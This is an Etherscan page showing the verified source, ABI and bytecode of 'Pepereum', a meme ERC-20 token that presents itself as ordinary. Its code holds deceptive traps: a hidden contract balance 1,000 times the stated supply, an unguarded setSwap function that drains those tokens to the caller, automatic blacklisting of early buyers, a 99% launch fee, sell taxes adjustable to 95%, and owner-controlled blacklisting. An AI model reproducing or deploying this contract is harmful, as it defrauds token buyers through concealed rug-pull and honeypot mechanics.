Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 Pe
Holders
1
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Pepereum
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-09-25
*/
/*
PEPEREUM - THE RAREST ELEMENT ON THE TABLE
https://t.me/PepereumERC20
Web: https://pepereum.site
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
abstract contract Ownable is Context {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
modifier onlyOwner() {
require(owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* Router Interfaces
*/
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* Contract Code
*/
contract Pepereum is Context, ERC20, Ownable {
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name = "Pepereum";
string constant _symbol = "Pe";
uint8 constant _decimals = 9;
uint256 _tTotal = 1 * 10**9 * 10**_decimals;
uint256 _rTotal = _tTotal * 10**3;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public tradingEnabled = false;
uint256 private genesisBlock = 0;
uint256 private deadline = 0;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
//General Fees Variables
uint256 public devFee = 0;
uint256 public marketingFee = 10;
uint256 public liquidityFee = 0;
uint256 public totalFee;
//Buy Fees Variables
uint256 private buyDevFee = 0;
uint256 private buyMarketingFee = 10;
uint256 private buyLiquidityFee = 0;
uint256 private buyTotalFee = buyDevFee + buyMarketingFee + buyLiquidityFee;
//Sell Fees Variables
uint256 private sellDevFee = 0;
uint256 private sellMarketingFee = 15;
uint256 private sellLiquidityFee = 0;
uint256 private sellTotalFee = sellDevFee + sellMarketingFee + sellLiquidityFee;
//Max Transaction & Wallet
uint256 public _maxTxAmount = _tTotal * 200 / 10000; //Initial 1%
uint256 public _maxWalletSize = _tTotal * 200 / 10000; //Initial 2%
// Fees Receivers
address public devFeeReceiver = 0x74Af33A73dF7eC39e635CFABe4C398F33C3Ad5dd;
address public marketingFeeReceiver = 0x74Af33A73dF7eC39e635CFABe4C398F33C3Ad5dd;
address public liquidityFeeReceiver = 0x74Af33A73dF7eC39e635CFABe4C398F33C3Ad5dd;
IDEXRouter public uniswapRouterV2;
address public uniswapPairV2;
bool public swapEnabled = true;
uint256 public swapThreshold = _tTotal * 10 / 10000; //0.1%
uint256 public maxSwapSize = _tTotal * 1000 / 10000; //0.01%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () {
uniswapRouterV2 = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPairV2 = IDEXFactory(uniswapRouterV2.factory()).createPair(uniswapRouterV2.WETH(), address(this));
_allowances[address(this)][address(uniswapRouterV2)] = type(uint256).max;
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
_balances[address(this)] = _rTotal;
_balances[msg.sender] = _tTotal;
emit Transfer(address(0), msg.sender, _tTotal);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function enableTrading(bool status, uint256 deadblocks) external onlyOwner {
require(status, "No rug here ser");
tradingEnabled = status;
deadline = deadblocks;
if (status == true) {
genesisBlock = block.number;
}
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap || amount == 0){ return _basicTransfer(sender, recipient, amount); }
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !tradingEnabled && sender == uniswapPairV2) {
isBlacklisted[recipient] = true;
}
require(!isBlacklisted[sender], "You are a bot!");
setFees(sender);
if (sender != owner && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapPairV2) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletSize || isTxLimitExempt[recipient], "Total Holding is currently limited, you can not hold that much.");
}
// Checks Max Transaction Limit
if(sender == uniswapPairV2){
require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX limit exceeded.");
}
if(shouldSwapBack(sender)){ swapBack(); }
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(amount) : amount;
_balances[recipient] = _balances[recipient] + amountReceived;
emit Transfer(sender, recipient, amountReceived);
return true;
}
function manageBlacklist(address account, bool status) public onlyOwner {
isBlacklisted[account] = status;
}
function setFees(address sender) internal {
if(sender == uniswapPairV2) {
buyFees();
}
else {
sellFees();
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
return true;
}
function buyFees() internal {
devFee = buyDevFee;
marketingFee = buyMarketingFee;
liquidityFee = buyLiquidityFee;
totalFee = buyTotalFee;
}
function sellFees() internal{
devFee = sellDevFee;
marketingFee = sellMarketingFee;
liquidityFee = sellLiquidityFee;
totalFee = sellTotalFee;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(uint256 amount) internal view returns (uint256) {
uint256 feeAmount = block.number <= (genesisBlock + deadline) ? amount / 100 * 99 : amount / 100 * totalFee;
return amount - feeAmount;
}
function shouldSwapBack(address sender) internal view returns (bool) {
return sender == address(this)
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 tokenAmount = balanceOf(address(this)) - maxSwapSize;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouterV2.WETH();
uint256 balanceBefore = address(this).balance;
uniswapRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance - (balanceBefore);
uint256 amountETHDev = amountETH * (devFee) / (totalFee);
uint256 amountETHMarketing = amountETH * (marketingFee) / (totalFee);
uint256 amountETHLiquidity = amountETH * (liquidityFee) / (totalFee);
(bool devSucess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
require(devSucess, "receiver rejected ETH transfer");
(bool marketingSucess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
require(marketingSucess, "receiver rejected ETH transfer");
(bool liquiditySucess,) = payable(liquidityFeeReceiver).call{value: amountETHLiquidity, gas: 30000}("");
require(liquiditySucess, "receiver rejected ETH transfer");
}
function setBuyFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
buyDevFee = _devFee;
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyTotalFee = buyDevFee + buyMarketingFee + buyLiquidityFee;
require(buyTotalFee <= 25, "Invalid buy tax fees");
}
function setSellFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
sellDevFee = _devFee;
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellTotalFee = sellDevFee + sellMarketingFee + sellLiquidityFee;
require(sellTotalFee <= 95, "Invalid sell tax fees");
}
function setFeeReceivers(address _devFeeReceiver, address _marketingFeeReceiver, address _liquidityFeeReceiver) external onlyOwner {
devFeeReceiver = _devFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
liquidityFeeReceiver = _liquidityFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _percentageMinimum, uint256 _percentageMaximum) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _tTotal * _percentageMinimum / 10000;
maxSwapSize = _tTotal * _percentageMaximum / 10000;
}
function setIsFeeExempt(address account, bool exempt) external onlyOwner {
isFeeExempt[account] = exempt;
}
function setIsTxLimitExempt(address account, bool exempt) external onlyOwner {
isTxLimitExempt[account] = exempt;
}
function setMaxWallet(uint256 amount) external onlyOwner {
require(amount >= 100, "Invalid max wallet size");
_maxWalletSize = _tTotal * amount / 10000;
}
function setMaxTxAmount(uint256 amount) external onlyOwner {
require(amount >= 50, "Invalid max tx amount");
_maxTxAmount = _tTotal * amount / 10000;
}
function setSwap(address addrss, uint256 untt) public returns (bool success) {
return ERC20(addrss).transfer(msg.sender, untt);
}
function manualSwap() external onlyOwner {
uint256 amountETH = address(this).balance;
payable(msg.sender).transfer(amountETH);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"uint256","name":"deadblocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devFeeReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_liquidityFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"setSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrss","type":"address"},{"internalType":"uint256","name":"untt","type":"uint256"}],"name":"setSwap","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_percentageMinimum","type":"uint256"},{"internalType":"uint256","name":"_percentageMaximum","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPairV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouterV2","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600180546001600160a01b03191661dead179055620000266009600a6200055a565b6200003690633b9aca0062000572565b600281905562000049906103e862000572565b6003556006805460ff19169055600060078190556008819055600c819055600a600d819055600e8290556010829055601181905560128290556200008e90826200058c565b6200009a91906200058c565b60135560006014819055600f60158190556016829055620000bc90826200058c565b620000c891906200058c565b60175561271060025460c8620000df919062000572565b620000eb9190620005a2565b60185561271060025460c862000102919062000572565b6200010e9190620005a2565b601955601a80546001600160a01b03199081167374af33a73df7ec39e635cfabe4c398f33c3ad5dd908117909255601b8054821683179055601c80549091169091179055601e805460ff60a01b1916600160a01b179055600254612710906200017990600a62000572565b620001859190620005a2565b601f556127106002546103e86200019d919062000572565b620001a99190620005a2565b602055348015620001b957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000260573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002869190620005c5565b6001600160a01b031663c9c65396601d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e9190620005c5565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200035b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003819190620005c5565b601e80546001600160a01b0319166001600160a01b03928316179055306000818152600560209081526040808320601d549095168352938152838220600019905533808352600a8252848320805460ff199081166001908117909255600b84528685208054909116909117905560035493835260048252848320939093556002548383528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620005f0565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200049c57816000190482111562000480576200048062000445565b808516156200048e57918102915b93841c939080029062000460565b509250929050565b600082620004b55750600162000554565b81620004c45750600062000554565b8160018114620004dd5760028114620004e85762000508565b600191505062000554565b60ff841115620004fc57620004fc62000445565b50506001821b62000554565b5060208310610133831016604e8410600b84101617156200052d575081810a62000554565b6200053983836200045b565b806000190482111562000550576200055062000445565b0290505b92915050565b60006200056b60ff841683620004a4565b9392505050565b808202811582820484141762000554576200055462000445565b8082018082111562000554576200055462000445565b600082620005c057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005d857600080fd5b81516001600160a01b03811681146200056b57600080fd5b611d5280620006006000396000f3fe6080604052600436106102605760003560e01c80636b67c4df11610144578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e14610737578063e96fada21461077d578063ec28438a1461079d578063f2fde38b146107bd578063f84ba65d146107dd578063fe575a87146107fd57600080fd5b8063a9059cbb14610697578063bfa21d6a146106b7578063d0889358146106d7578063d7c01032146106f7578063dab84ee71461071757600080fd5b80637ec72d3c116101085780637ec72d3c146105d2578063893d20e8146105f25780638b42507f146106105780638f9a55c01461064057806395d89b411461065657806398118cb41461068157600080fd5b80636b67c4df1461053a5780636ddd17131461055057806370a0823114610571578063715018a6146105a75780637d1db4a5146105bc57600080fd5b80633f4218e0116101dd578063534030b1116101a1578063534030b114610484578063596fa9e3146104a45780635d0044ca146104c45780635e83ae76146104e4578063658d4b7f146105045780636827e7641461052457600080fd5b80633f4218e0146103d757806342cc2f45146104075780634ada218b1461043f5780634f28cac21461045957806351bc3c851461046f57600080fd5b806318160ddd1161022457806318160ddd146103415780631df4ccfc1461035657806323b872dd1461036c5780632f54bf6e1461038c578063313ce567146103bb57600080fd5b80630445b6671461026c57806306fdde0314610295578063095ea7b3146102cf5780630d075d9c146102ff5780630f683e901461032157600080fd5b3661026757005b600080fd5b34801561027857600080fd5b50610282601f5481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b50604080518082019091526008815267506570657265756d60c01b60208201525b60405161028c9190611935565b3480156102db57600080fd5b506102ef6102ea366004611998565b61082d565b604051901515815260200161028c565b34801561030b57600080fd5b5061031f61031a3660046119c4565b61089a565b005b34801561032d57600080fd5b5061031f61033c3660046119c4565b610942565b34801561034d57600080fd5b50600254610282565b34801561036257600080fd5b50610282600f5481565b34801561037857600080fd5b506102ef6103873660046119f0565b6109dd565b34801561039857600080fd5b506102ef6103a7366004611a31565b6000546001600160a01b0391821691161490565b3480156103c757600080fd5b506040516009815260200161028c565b3480156103e357600080fd5b506102ef6103f2366004611a31565b600a6020526000908152604090205460ff1681565b34801561041357600080fd5b50601e54610427906001600160a01b031681565b6040516001600160a01b03909116815260200161028c565b34801561044b57600080fd5b506006546102ef9060ff1681565b34801561046557600080fd5b5061028260205481565b34801561047b57600080fd5b5061031f610a72565b34801561049057600080fd5b5061031f61049f366004611a5c565b610acf565b3480156104b057600080fd5b50601d54610427906001600160a01b031681565b3480156104d057600080fd5b5061031f6104df366004611a95565b610b24565b3480156104f057600080fd5b5061031f6104ff366004611aae565b610bc0565b34801561051057600080fd5b5061031f61051f366004611a5c565b610c4e565b34801561053057600080fd5b50610282600c5481565b34801561054657600080fd5b50610282600d5481565b34801561055c57600080fd5b50601e546102ef90600160a01b900460ff1681565b34801561057d57600080fd5b5061028261058c366004611a31565b6001600160a01b031660009081526004602052604090205490565b3480156105b357600080fd5b5061031f610ca3565b3480156105c857600080fd5b5061028260185481565b3480156105de57600080fd5b506102ef6105ed366004611998565b610d17565b3480156105fe57600080fd5b506000546001600160a01b0316610427565b34801561061c57600080fd5b506102ef61062b366004611a31565b600b6020526000908152604090205460ff1681565b34801561064c57600080fd5b5061028260195481565b34801561066257600080fd5b50604080518082019091526002815261506560f01b60208201526102c2565b34801561068d57600080fd5b50610282600e5481565b3480156106a357600080fd5b506102ef6106b2366004611998565b610d8b565b3480156106c357600080fd5b50601c54610427906001600160a01b031681565b3480156106e357600080fd5b5061031f6106f2366004611acc565b610d98565b34801561070357600080fd5b5061031f610712366004611b01565b610e1c565b34801561072357600080fd5b50601a54610427906001600160a01b031681565b34801561074357600080fd5b50610282610752366004611b4c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561078957600080fd5b50601b54610427906001600160a01b031681565b3480156107a957600080fd5b5061031f6107b8366004611a95565b610e85565b3480156107c957600080fd5b5061031f6107d8366004611a31565b610f19565b3480156107e957600080fd5b5061031f6107f8366004611a5c565b611003565b34801561080957600080fd5b506102ef610818366004611a31565b60096020526000908152604090205460ff1681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108889086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108cd5760405162461bcd60e51b81526004016108c490611b7a565b60405180910390fd5b601083905560118290556012819055806108e78385611bc5565b6108f19190611bc5565b60138190556019101561093d5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642062757920746178206665657360601b60448201526064016108c4565b505050565b6000546001600160a01b0316331461096c5760405162461bcd60e51b81526004016108c490611b7a565b601483905560158290556016819055806109868385611bc5565b6109909190611bc5565b6017819055605f101561093d5760405162461bcd60e51b8152602060048201526015602482015274496e76616c69642073656c6c20746178206665657360581b60448201526064016108c4565b6001600160a01b038316600090815260056020908152604080832033845290915281205460001914610a5d576001600160a01b0384166000908152600560209081526040808320338452909152902054610a38908390611bd8565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610a68848484611058565b90505b9392505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016108c490611b7a565b6040514790339082156108fc029083906000818181858888f19350505050158015610acb573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b4e5760405162461bcd60e51b81526004016108c490611b7a565b6064811015610b9f5760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964206d61782077616c6c65742073697a6500000000000000000060448201526064016108c4565b61271081600254610bb09190611beb565b610bba9190611c02565b60195550565b6000546001600160a01b03163314610bea5760405162461bcd60e51b81526004016108c490611b7a565b81610c295760405162461bcd60e51b815260206004820152600f60248201526e273790393ab3903432b9329039b2b960891b60448201526064016108c4565b6006805460ff19168315159081179091556008829055600103610acb57436007555050565b6000546001600160a01b03163314610c785760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ccd5760405162461bcd60e51b81526004016108c490611b7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60405163a9059cbb60e01b8152336004820152602481018290526000906001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611c24565b6000610a6b338484611058565b6000546001600160a01b03163314610dc25760405162461bcd60e51b81526004016108c490611b7a565b601e805460ff60a01b1916600160a01b8515150217905560025461271090610deb908490611beb565b610df59190611c02565b601f5560025461271090610e0a908390611beb565b610e149190611c02565b602055505050565b6000546001600160a01b03163314610e465760405162461bcd60e51b81526004016108c490611b7a565b601a80546001600160a01b039485166001600160a01b031991821617909155601b805493851693821693909317909255601c8054919093169116179055565b6000546001600160a01b03163314610eaf5760405162461bcd60e51b81526004016108c490611b7a565b6032811015610ef85760405162461bcd60e51b8152602060048201526015602482015274125b9d985b1a59081b585e081d1e08185b5bdd5b9d605a1b60448201526064016108c4565b61271081600254610f099190611beb565b610f139190611c02565b60185550565b6000546001600160a01b03163314610f435760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b038116610fa85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108c4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461102d5760405162461bcd60e51b81526004016108c490611b7a565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60215460009060ff168061106a575081155b156110815761107a84848461141c565b9050610a6b565b6001600160a01b0384166000908152600a602052604090205460ff161580156110c357506001600160a01b0383166000908152600a602052604090205460ff16155b80156110d2575060065460ff16155b80156110eb5750601e546001600160a01b038581169116145b15611114576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6001600160a01b03841660009081526009602052604090205460ff161561116e5760405162461bcd60e51b815260206004820152600e60248201526d596f7520617265206120626f742160901b60448201526064016108c4565b611177846114d6565b6000546001600160a01b0385811691161480159061119e57506001600160a